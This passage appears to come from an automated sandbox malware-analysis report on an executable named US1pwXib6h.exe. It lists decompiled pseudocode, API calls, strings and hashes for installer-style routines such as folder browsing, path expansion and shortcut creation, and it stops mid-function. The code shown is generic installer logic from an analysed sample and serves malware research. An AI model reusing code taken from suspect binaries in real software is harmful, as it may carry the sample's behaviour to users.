										break;
									}
									if(_t145 != 0) {
										 *_t145 =  *_t145 & _t113;
									}
									_t145 = E00405517(0x41f440) - 1;
									 *_t145 = 0x5c;
									if(_t145 != 0x41f440) {
										continue;
									} else {
										goto L30;
									}
								}
								_t153 = (_v40 << 0x00000020 | _v44) >> 0xa;
								_v12 = 1;
								_t145 = 0;
								L37:
								_t163 = 0x400;
								L38:
								_t94 = E0040461D(5);
								if(_v12 != _t145 && _t153 < _t94) {
									_v8 = 2;
								}
								_t147 =  *0x42365c; // 0x7b767e
								if( *((intOrPtr*)(_t147 + 0x10)) != _t145) {
									E00404568(0x3ff, 0xfffffffb, _t94);
									if(_v12 == _t145) {
										SetDlgItemTextA(_a4, _t163, 0x41f430);
									} else {
										E00404568(_t163, 0xfffffffc, _t153);
									}
								}
								_t95 = _v8;
								 *0x423f24 = _t95;
								if(_t95 == _t145) {
									_v8 = E0040140B(7);
								}
								if(( *(_v36 + 0x14) & _t163) != 0) {
									_v8 = _t145;
								}
								E00403DB1(0 | _v8 == _t145);
								if(_v8 == _t145 &&  *0x420464 == _t145) {
									E00404162();
								}
								 *0x420464 = _t145;
								goto L53;
							}
						}
						_t180 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t117 = _a12 & 0x0000ffff;
					if(_t117 != 0x3fb) {
						L12:
						if(_t117 == 0x3e9) {
							_t148 = 7;
							memset( &_v72, 0, _t148 << 2);
							_v76 = _a4;
							_v68 = 0x420478;
							_v56 = E00404502;
							_v52 = _t162;
							_v64 = E004059FF(0x3fb, 0x420478, _t162, 0x41f848, _v8);
							_t122 =  &_v76;
							_v60 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E004054D0(_t162);
								_t124 =  *0x423e90; // 0x7afb48
								_t125 =  *((intOrPtr*)(_t124 + 0x11c));
								if( *((intOrPtr*)(_t124 + 0x11c)) != 0 && _t162 == "C:\\Users\\engineer\\AppData\\Local\\Temp") {
									E004059FF(0x3fb, 0x420478, _t162, 0, _t125);
									if(lstrcmpiA(0x422e20, 0x420478) != 0) {
										lstrcatA(_t162, 0x422e20);
									}
								}
								 *0x420464 =  &(( *0x420464)[0]);
								SetDlgItemTextA(_a4, 0x3fb, _t162);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t159 = _a4;
					_v12 = GetDlgItem(_t159, 0x3fb);
					if(E0040553D(_t162) != 0 && E00405564(_t162) == 0) {
						E004054D0(_t162);
					}
					 *0x423658 = _t159;
					SetWindowTextA(_v12, _t162);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403D8F(_t159);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403D8F(_t159);
					E00403DC4(_v12);
					_t138 = E00405CFF(7);
					if(_t138 == 0) {
						L53:
						return E00403DF6(_a8, _a12, _a16);
					}
					 *_t138(_v12, 1);
					goto L8;
				}
			}

0x004041d3
0x004041da
0x004041e6
0x004041f4
0x004041fc
0x00404200
0x00404206
0x00404206
0x00404212
0x00404286
0x0040428d
0x00404362
0x00404369
0x00404378
0x00404378
0x0040437c
0x00404382
0x0040438f
0x00404391
0x00404391
0x0040439f
0x004043a4
0x004043a7
0x004043ae
0x004043b1
0x004043e8
0x004043ea
0x004043f0
0x004043f7
0x004043f9
0x004043f9
0x00404415
0x00404451
0x00000000
0x00404417
0x0040441a
0x0040442e
0x00404430
0x00000000
0x00404430
0x004043b3
0x004043b7
0x004043e6
0x004043e6
0x00000000
0x00000000
0x00000000
0x00000000
0x004043b9
0x004043b9
0x004043c6
0x004043cb
0x00000000
0x00000000
0x004043cf
0x004043d1
0x004043d1
0x004043dc
0x004043df
0x004043e4
0x00000000
0x00000000
0x00000000
0x00000000
0x004043e4
0x0040443f
0x00404446
0x0040444d
0x00404454
0x00404454
0x00404459
0x0040445b
0x00404463
0x00404469
0x00404469
0x00404470
0x00404479
0x00404483
0x0040448b
0x004044a1
0x0040448d
0x00404491
0x00404491
0x0040448b
0x004044a6
0x004044ab
0x004044b0
0x004044b9
0x004044b9
0x004044c2
0x004044c4
0x004044c4
0x004044d0
0x004044d8
0x004044e2
0x004044e2
0x004044e7
0x00000000
0x004044e7
0x004043b1
0x0040436b
0x00404372
0x00000000
0x00000000
0x00000000
0x00404372
0x00404293
0x00404299
0x004042b3
0x004042b8
0x004042c2
0x004042c9
0x004042d8
0x004042db
0x004042de
0x004042e5
0x004042ed
0x004042f0
0x004042f4
0x004042fb
0x00404303
0x0040435b
0x00404305
0x00404306
0x0040430d
0x00404312
0x00404317
0x0040431f
0x0040432c
0x00404340
0x00404344
0x00404344
0x00404340
0x00404349
0x00404354
0x00404354
0x00404303
0x00000000
0x004042b8
0x004042a6
0x00000000
0x00000000
0x004042ac
0x00000000
0x00404214
0x00404214
0x00404220
0x0040422a
0x00404237
0x00404237
0x0040423d
0x00404246
0x0040424f
0x00404252
0x00404255
0x0040425d
0x00404260
0x00404263
0x0040426b
0x00404272
0x00404279
0x004044ed
0x004044ff
0x004044ff
0x00404284
0x00000000
0x00404284

APIs

GetDlgItem.USER32 ref: 00404219
SetWindowTextA.USER32(?,?), ref: 00404246
SHBrowseForFolderA.SHELL32(?,0041F848,?), ref: 004042FB
CoTaskMemFree.OLE32(00000000), ref: 00404306
lstrcmpiA.KERNEL32(Call,00420478,00000000,?,?), ref: 00404338
lstrcatA.KERNEL32(?,Call), ref: 00404344
SetDlgItemTextA.USER32 ref: 00404354

Part of subcall function 00405282: GetDlgItemTextA.USER32 ref: 00405295

Part of subcall function 00405C3F: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
Part of subcall function 00405C3F: CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
Part of subcall function 00405C3F: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
Part of subcall function 00405C3F: CharPrevA.USER32(?,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

GetDiskFreeSpaceA.KERNEL32(0041F440,?,?,0000040F,?,0041F440,0041F440,?,00000000,0041F440,?,?,000003FB,?), ref: 0040440D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404428
SetDlgItemTextA.USER32 ref: 004044A1

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00404321
~v{, xrefs: 00404470
Call, xrefs: 00404332, 00404337, 00404342
A, xrefs: 004042F4

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Temp$Call$~v{
API String ID: 2246997448-1455825714
Opcode ID: 6e673fc6d151b24e91dad944200417fa3a5a6dedc4a92dfa1b187ab04de59240
Instruction ID: b374e158efdd7287bf49babe660ec8015a33fdd664c905072b33ae798ddb7db4
Opcode Fuzzy Hash: 6e673fc6d151b24e91dad944200417fa3a5a6dedc4a92dfa1b187ab04de59240
Instruction Fuzzy Hash: 4C9175B1A00219ABDF11AFA1CC84AAF7AB8EF44354F10407BFA04B62D1D77C9A41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004059FF, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 197
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004059FF(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t36;
				CHAR* _t37;
				signed int _t39;
				int _t40;
				char _t50;
				char _t51;
				char _t53;
				char _t55;
				void* _t63;
				signed int _t69;
				intOrPtr _t73;
				signed int _t74;
				signed int _t75;
				intOrPtr _t79;
				char _t83;
				void* _t85;
				CHAR* _t86;
				void* _t88;
				signed int _t95;
				signed int _t97;
				void* _t98;

				_t88 = __esi;
				_t85 = __edi;
				_t63 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t79 =  *0x42365c; // 0x7b767e
					_t36 =  *(_t79 - 4 + _t36 * 4);
				}
				_t73 =  *0x423eb8; // 0x7b5ac4
				_t74 = _t73 + _t36;
				_t37 = 0x422e20;
				_push(_t63);
				_push(_t88);
				_push(_t85);
				_t86 = 0x422e20;
				if(_a4 - 0x422e20 < 0x800) {
					_t86 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t83 =  *_t74;
					if(_t83 == 0) {
						break;
					}
					__eflags = _t86 - _t37 - 0x400;
					if(_t86 - _t37 >= 0x400) {
						break;
					}
					_t74 = _t74 + 1;
					__eflags = _t83 - 0xfc;
					_a8 = _t74;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t86 = _t83;
							_t86 =  &(_t86[1]);
							__eflags = _t86;
						} else {
							 *_t86 =  *_t74;
							_t86 =  &(_t86[1]);
							_t74 = _t74 + 1;
						}
						continue;
					}
					_t39 =  *(_t74 + 1);
					_t75 =  *_t74;
					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t75 | 0x00000080;
					_t69 = _t75;
					_v24 = _t69;
					__eflags = _t83 - 0xfe;
					_v20 = _t39 | 0x00000080;
					_v16 = _t39;
					if(_t83 != 0xfe) {
						__eflags = _t83 - 0xfd;
						if(_t83 != 0xfd) {
							__eflags = _t83 - 0xff;
							if(_t83 == 0xff) {
								__eflags = (_t39 | 0xffffffff) - _t95;
								E004059FF(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
							}
							L41:
							_t40 = lstrlenA(_t86);
							_t74 = _a8;
							_t86 =  &(_t86[_t40]);
							_t37 = 0x422e20;
							continue;
						}
						__eflags = _t95 - 0x1d;
						if(_t95 != 0x1d) {
							__eflags = (_t95 << 0xa) + 0x424000;
							E004059DD(_t86, (_t95 << 0xa) + 0x424000);
						} else {
							E0040593B(_t86,  *0x423e88);
						}
						__eflags = _t95 + 0xffffffeb - 7;
						if(_t95 + 0xffffffeb < 7) {
							L32:
							E00405C3F(_t86);
						}
						goto L41;
					}
					_t97 = 2;
					_t50 = GetVersion();
					__eflags = _t50;
					if(_t50 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x423f04;
						if( *0x423f04 != 0) {
							_t97 = 4;
						}
						__eflags = _t69;
						if(_t69 >= 0) {
							__eflags = _t69 - 0x25;
							if(_t69 != 0x25) {
								__eflags = _t69 - 0x24;
								if(_t69 == 0x24) {
									GetWindowsDirectoryA(_t86, 0x400);
									_t97 = 0;
								}
								while(1) {
									__eflags = _t97;
									if(_t97 == 0) {
										goto L29;
									}
									_t51 =  *0x423e84; // 0x74691340
									_t97 = _t97 - 1;
									__eflags = _t51;
									if(_t51 == 0) {
										L25:
										_t53 = SHGetSpecialFolderLocation( *0x423e88,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											L27:
											 *_t86 =  *_t86 & 0x00000000;
											__eflags =  *_t86;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t86);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t55 =  *_t51( *0x423e88,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86);
									__eflags = _t55;
									if(_t55 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t86, 0x400);
							goto L29;
						} else {
							_t72 = (_t69 & 0x0000003f) +  *0x423eb8;
							E004058C4(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x423eb8, _t86, _t69 & 0x00000040);
							__eflags =  *_t86;
							if( *_t86 != 0) {
								L30:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E004059FF(_t72, _t86, _t97, _t86, _v16);
							L29:
							__eflags =  *_t86;
							if( *_t86 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t50 - 0x5a04;
					if(_t50 == 0x5a04) {
						goto L12;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L12;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t86 =  *_t86 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E004059DD(_a4, _t37);
			}

0x004059ff
0x004059ff
0x004059ff
0x00405a05
0x00405a0a
0x00405a0c
0x00405a1b
0x00405a1b
0x00405a1d
0x00405a26
0x00405a28
0x00405a2d
0x00405a30
0x00405a31
0x00405a38
0x00405a3a
0x00405a40
0x00405a43
0x00405a43
0x00405c1c
0x00405c1c
0x00405c20
0x00000000
0x00000000
0x00405a50
0x00405a56
0x00000000
0x00000000
0x00405a5c
0x00405a5d
0x00405a60
0x00405a63
0x00405c0f
0x00405c19
0x00405c1b
0x00405c1b
0x00405c11
0x00405c13
0x00405c15
0x00405c16
0x00405c16
0x00000000
0x00405c0f
0x00405a69
0x00405a6d
0x00405a7d
0x00405a81
0x00405a88
0x00405a8b
0x00405a8f
0x00405a95
0x00405a98
0x00405a9b
0x00405a9e
0x00405bb9
0x00405bbc
0x00405bec
0x00405bef
0x00405bf4
0x00405bf8
0x00405bf8
0x00405bfd
0x00405bfe
0x00405c03
0x00405c06
0x00405c08
0x00000000
0x00405c08
0x00405bbe
0x00405bc1
0x00405bd6
0x00405bdd
0x00405bc3
0x00405bca
0x00405bca
0x00405be5
0x00405be8
0x00405bb1
0x00405bb2
0x00405bb2
0x00000000
0x00405be8
0x00405aa6
0x00405aa7
0x00405aad
0x00405aaf
0x00405ac9
0x00405ac9
0x00405ad0
0x00405ad0
0x00405ad7
0x00405adb
0x00405adb
0x00405adc
0x00405ade
0x00405b17
0x00405b1a
0x00405b2a
0x00405b2d
0x00405b35
0x00405b3b
0x00405b3b
0x00405b97
0x00405b97
0x00405b99
0x00000000
0x00000000
0x00405b3f
0x00405b46
0x00405b47
0x00405b49
0x00405b63
0x00405b71
0x00405b77
0x00405b79
0x00405b94
0x00405b94
0x00405b94
0x00000000
0x00405b94
0x00405b7f
0x00405b8a
0x00405b90
0x00405b92
0x00000000
0x00000000
0x00000000
0x00405b92
0x00405b4b
0x00405b4e
0x00000000
0x00000000
0x00405b5d
0x00405b5f
0x00405b61
0x00000000
0x00000000
0x00000000
0x00405b61
0x00000000
0x00405b97
0x00405b22
0x00000000
0x00405ae0
0x00405ae5
0x00405afb
0x00405b00
0x00405b03
0x00405ba0
0x00405ba0
0x00405ba4
0x00405bac
0x00405bac
0x00000000
0x00405ba4
0x00405b0d
0x00405b9b
0x00405b9b
0x00405b9e
0x00000000
0x00000000
0x00000000
0x00405b9e
0x00405ade
0x00405ab1
0x00405ab5
0x00000000
0x00000000
0x00405ab7
0x00405abb
0x00000000
0x00000000
0x00405abd
0x00405ac1
0x00000000
0x00405ac3
0x00405ac3
0x00000000
0x00405ac3
0x00405ac1
0x00405c26
0x00405c30
0x00405c3c
0x00405c3c
0x00000000

APIs

GetVersion.KERNEL32(00000000,0041FC50,00000000,00404DB3,0041FC50,00000000), ref: 00405AA7
GetSystemDirectoryA.KERNEL32 ref: 00405B22
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405B35
SHGetSpecialFolderLocation.SHELL32(?,0040F020), ref: 00405B71
SHGetPathFromIDListA.SHELL32(0040F020,Call), ref: 00405B7F
CoTaskMemFree.OLE32(0040F020), ref: 00405B8A
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405BAC
lstrlenA.KERNEL32(Call,00000000,0041FC50,00000000,00404DB3,0041FC50,00000000), ref: 00405BFE

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405BA6
~v{, xrefs: 00405A0C
Call, xrefs: 00405A28, 00405AEF, 00405B0C, 00405B21, 00405B34, 00405B50, 00405B7B, 00405BAB, 00405BB1, 00405BC9, 00405BDC, 00405BF7, 00405BFD, 00405C08, 00405C32
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405AF1

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$~v{
API String ID: 900638850-1327980688
Opcode ID: 4882c5000ece73840c27ef34f72b9de924b5e58c0caf7ba4a0b851a4f11f77ef
Instruction ID: d3edd175ae4d098aa1e1d30cbcff8d3f456ad99068bf2b680a9da6a8a672f2a4
Opcode Fuzzy Hash: 4882c5000ece73840c27ef34f72b9de924b5e58c0caf7ba4a0b851a4f11f77ef
Instruction Fuzzy Hash: 30511471A04A04ABEB215F68DC84B7F3BB4EB55324F14423BE911B62D1D27C6981DF4E

Uniqueness

Uniqueness Score: -1.00%

Function 00402020, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402020() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E004029F6(0xfffffff0);
				_t96 = E004029F6(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x2c)) = E004029F6(2);
				 *((intOrPtr*)(_t100 - 8)) = E004029F6(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x44)) = E004029F6(0x45);
				if(E0040553D(_t96) == 0) {
					E004029F6(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x407384, _t75, 1, 0x407374, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x407394, _t100 - 0x34);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\engineer\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x14);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x14);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 8)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 8)),  *(_t100 - 0x14) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x2c)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x44)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409348, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 0x34));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409348, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 0x34));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

0x00402029
0x00402033
0x0040203c
0x00402046
0x0040204f
0x00402059
0x0040205d
0x0040205d
0x00402062
0x00402073
0x0040207b
0x0040215b
0x0040215b
0x00402162
0x00402081
0x00402081
0x00402092
0x00402096
0x0040209c
0x004020a6
0x004020a8
0x004020b3
0x004020b6
0x004020c3
0x004020c5
0x004020c7
0x004020ce
0x004020d1
0x004020d1
0x004020d4
0x004020de
0x004020e6
0x004020eb
0x004020f7
0x004020f7
0x004020fa
0x00402103
0x00402106
0x0040210f
0x00402114
0x00402126
0x00402135
0x00402137
0x00402143
0x00402143
0x00402135
0x00402145
0x0040214b
0x0040214b
0x0040214e
0x00402154
0x00402159
0x0040216e
0x00000000
0x00000000
0x00000000
0x00402159
0x00402164
0x0040288e
0x0040289a

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409348,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020AB

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-1104044542
Opcode ID: 71453fb45c89770e4f5e9780d50359adef83bdbe6145f3bfd3e7a5e9e412efc0
Instruction ID: ce0b4858a9f81ea3ddc308d80d774a06bef6b406c5dcff46aa6a4b0d76e862c7
Opcode Fuzzy Hash: 71453fb45c89770e4f5e9780d50359adef83bdbe6145f3bfd3e7a5e9e412efc0
Instruction Fuzzy Hash: AE418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E, Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040263E(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E004029F6(2), _t19 - 0x1a4) != 0xffffffff) {
					E0040593B(__edi, _t6);
					_push(_t19 - 0x178);
					_push(__esi);
					E004059DD();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402656
0x0040266a
0x00402675
0x00402676
0x004027b1
0x00402658
0x00402658
0x0040265a
0x0040265c
0x0040265c
0x0040288e
0x0040289a

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 7ce125ca612887df162c36b751337e4c26a37c050d4ffda7300b23609ce4967c
Instruction ID: 14dcf34609860af9969e045d3f077fc7a18bb2554c958aa599433bfc977b1d94
Opcode Fuzzy Hash: 7ce125ca612887df162c36b751337e4c26a37c050d4ffda7300b23609ce4967c
Instruction Fuzzy Hash: 86F0E572A04101DFD700EBB49E49AEEB778DF51328FA0067BF101F20C1D2B84A45DB2A

Uniqueness

Uniqueness Score: -1.00%

Function 004038BC, Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004038BC(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				intOrPtr _t44;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;
				void* _t142;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x42045c = _t35;
					if(_t115 == 0x110) {
						 *0x423e88 = _t125;
						 *0x420470 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41f438 = _t91;
						E00403D8F(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x423668);
						 *0x42364c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x42045c = 1;
					}
					_t122 =  *0x4091a4; // 0xffffffff
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423ea0;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403DDB(0x40b);
						while(1) {
							_t37 =  *0x42045c;
							 *0x4091a4 =  *0x4091a4 + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091a4; // 0xffffffff
							__eflags = _t39 -  *0x423ea4; // 0x2
							if(__eflags == 0) {
								E0040140B(1);
							}
							__eflags =  *0x42364c - _t133; // 0x0
							if(__eflags != 0) {
								break;
							}
							_t44 =  *0x423ea4; // 0x2
							__eflags =  *0x4091a4 - _t44; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E004059FF(_t116, _t125, _t130, 0x42b800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403D8F(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403D8F(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403D8F(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x423f0c - _t133; // 0x0
							_v32 = _t49;
							if(__eflags != 0) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008);
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
							E00403DB1(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41f438, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
